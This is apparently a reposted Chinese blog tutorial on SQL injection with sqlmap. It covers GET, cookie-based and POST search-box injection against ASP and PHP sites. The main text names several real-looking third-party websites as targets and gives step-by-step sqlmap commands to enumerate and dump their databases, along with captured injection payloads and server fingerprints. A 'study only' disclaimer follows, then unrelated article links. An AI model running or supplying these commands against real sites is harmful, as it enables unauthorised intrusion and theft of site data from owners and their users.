kali之sql注入

摘要:
要进行post注入我们首先要抓包。。

ASP:
1.网址后面加上一撇 ' 报错 and 1=1 正常显示,and1=2报错 网址:http://www.kfzhongzhou.com/cyjb_xx.asp?id=14 (get注入

2.kali Linux打开终端 输入命令 sqlmap -u 网址 --dbs --current-user (-u 输入目标网址 --dbs表示所有的数据库)
3.结果显示出了服务器的的操作系统为Windows2003或是 XP,数据库类型等信息,没有显示出current user
4.kali Linux打开终端 输入命令 sqlmap -u 网址 --tables 最后会显示出几个表名
5.kali Linux打开终端 输入命令 sqlmap -u 网址 -T 表名 --columns ,会拆解出几个列名(-T 指定表名 --columns代表所有的列)
6.kali Linux打开终端 输入命令 sqlmap -u 网址 -T 表名 -C 列名1,列名2 --dump (-C指定要获得的数据的列名,--dump表示下载数据
7.sql不能注入,采取cookie注入 例如 :sqlmap -u http://xaweichi.com/product_list.asp --cookie "id=230" --tables --level 2
8.猜解表段也是一样的:sqlmap -u http://xaweichi.com/product_list.asp --cookie "id=230" --tables --level 2
如果说那个站点他装了防注入程序 拿我们正规的注入就不成效果就用到cookie中转注入
sqlmap -u http://xaweichi.com/product_list.asp --cookie "id=230" --level 2
Place: Cookie
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=230 AND 1870=1870
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: id=-3659 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(117)&CHR(120)&CHR(97)&CHR(113)&CHR(106)&CHR(83)&CHR(65)&CHR(100)&CHR(105)&CHR(111)&CHR(87)&CHR(110)&CHR(113)&CHR(112)&CHR(113)&CHR(113)&CHR(115)&CHR(106)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[23:30:15] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[23:30:15] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/xaweichi.com'
可以看到是cookies方式的注入
猜解表段也是一样的 sqlmap -u http://xaweichi.com/product_list.asp --cookie "id=230" --tables --level 2
猜解字段sqlmap -u http://xaweichi.com/product_list.asp --cookie "id=230" --columns -T manage --level 2
然后猜解内容
[4 columns]
+---------+-------------+
| Column | Type |
+---------+-------------+
| classid | numeric |
| id | numeric |
| orderid | numeric |
| title | non-numeric |
sqlmap -u http://xaweichi.com/product_list.asp --cookie "id=230" --dump C "classid,id" -T manage --level 2
9.cookie注入不行用post注入
今天讲sqlmap post搜索框的注入
http://www.zjyingsong.com/product.asp
post注入框的注入原理 大家可以自己百度一下哦!
要进行post注入我们首先要抓包 。。
用burpsuite
打开浏览器
代理8080端口
好了 随便输入一个1字 burpsuite已经抓到包了
key=1&x=23&y=4
这条是有用的
然后我们启动sqlmap 构造一下 sqlmap -u http://www.zjyingsong.com/product.asp --data "key=1&x=23&y=4"
Place: POST
Parameter: key
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: key=1%' AND 1393=1393 AND '%'='&x=24&y=9
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: key=-3532%' UNION ALL SELECT NULL,NULL,CHR(113)&CHR(104)&CHR(101)&CHR(110)&CHR(113)&CHR(103)&CHR(109)&CHR(84)&CHR(80)&CHR(98)&CHR(100)&CHR(74)&CHR(105)&CHR(102)&CHR(102)&CHR(113)&CHR(105)&CHR(114)&CHR(108)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16&x=24&y=9
---
[23:58:56] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows
web application technology: ASP
back-end DBMS: Microsoft Access
[23:58:56] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.zjyingsong.com'
Place: POST
嗯 post型注入 然后我们就可以猜解了
和上节课的语法完全一模一样 sqlmap -u http://www.zjyingsong.com/product.asp --data "key=1&x=23&y=4" --tables //猜解表段
sqlmap -u http://www.zjyingsong.com/product.asp --data "key=1&x=23&y=4" --columns -T 表段 //猜解字段
sqlmap -u http://www.zjyingsong.com/product.asp --data "key=1&x=23&y=4" --dump C "内容,内容," -T 刚才的表段 //猜解内容
PHP:
1.网址后面加上一撇 ' 报错,可以看到数据库信息
2.kali Linux打开终端 输入命令 sqlmap -u 网址 --dbs --current-user ,提示id 有注入漏洞
3.kali Linux打开终端 输入命令 sqlmap -u 网址 --dbms mysql -D 数据库 --tables (--dbms 指定数据库 -D指定具体数据库(名称 ))
4.kali Linux打开终端 输入命令 sqlmap -u 网址 --dbms mysql --tables 第3步在指定具体数据库的情况下没有返回任何表,这里直接拆解表名
5..kali Linux打开终端 输入命令 sqlmap -u 网址 --dbms mysql -T 表名 --columns
6.kali Linux打开终端 输入命令 sqlmap -u 网址 --dbms mysql -T 表名 -C 列名,列名 --dump

免责声明:文章转载自《kali之sql注入》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇hadoop入门手册4:Hadoop【2.7.1】初级入门之命令:文件系统shell1391.FANUC宏程序编程下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

jquery.cookie 使用方法

一个轻量级的cookie 插件,可以读取、写入、删除 cookie。 jquery.cookie.js 的配置 首先包含jQuery的库文件,在后面包含 jquery.cookie.js 的库文件。 <script type="text/javascript" src="http://t.zoukankan.com/js/jquery-1.6.2...

Django学习笔记之安全

CSRF攻击 CSRF攻击概述 CSRF(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一。其他安全隐患,比如 SQL 脚本注入,跨站域脚本攻击等在近年来已经逐渐为众人熟知,很多网站也都针对他们进行了防御。然而,对于大多数人来说,CSRF 却依然是一个陌生的...

vue之vue-cookies

npm链接:https://www.npmjs.com/package/vue-cookies 安装: npm install vue-cookies --save 使用:main.js引入 import Vue from 'Vue' import VueCookies from 'vue-cookies' Vue.use(VueCookies) Ap...

C#编程中关于数据缓存的经验总结

C#编程中关于数据缓存的经验总结一直以来,我都发现程序的运行速度不够理想。通过查代码,发现程序对数据库的访问非常频繁,而且检索出来的数据量比较大。为了让程序运行快起来,我想对程序采用适当的缓存方法。我在C#尝试了5种方法进行数据缓存,具体如下:(如有遗漏,错误欢迎大家指正,欢迎提建议。)1:Session方法:此方法是针对于每个用户来的,如果用户量比较大,...

微信小程序如何在使用wx.request使用cookie

我主要是做asp.net mvc后端开发的,经常使用Jquery的ajax与后台的Web API进行数据交互。 最近公司要做一个小程序,要实现小程序与Web前端的通信,当然小程序是可以实现socket通信的,那样的话,我需要给小程序写socket接口,给web写restful的接口,很显然我不乐意这么干。 我的各个交互都是需要知道用户状态的,web端使用c...

C# winform在WebBrowser下获取完整的Cookies(包括含HTTPOnly属性的)

利用wininet获取网页Cookie 模拟post请求取数据,使用普通的Cookies无法获取完整的Cookies信息 只能获取了一部分 ,导致取回来的是重新登陆的页面。 后来经过不懈的精神,终于找到了方法实现获取HTTPOnly。 WinInet WinInet(“Windows Internet”)API帮助程序员使用三个常见的Internet协议,...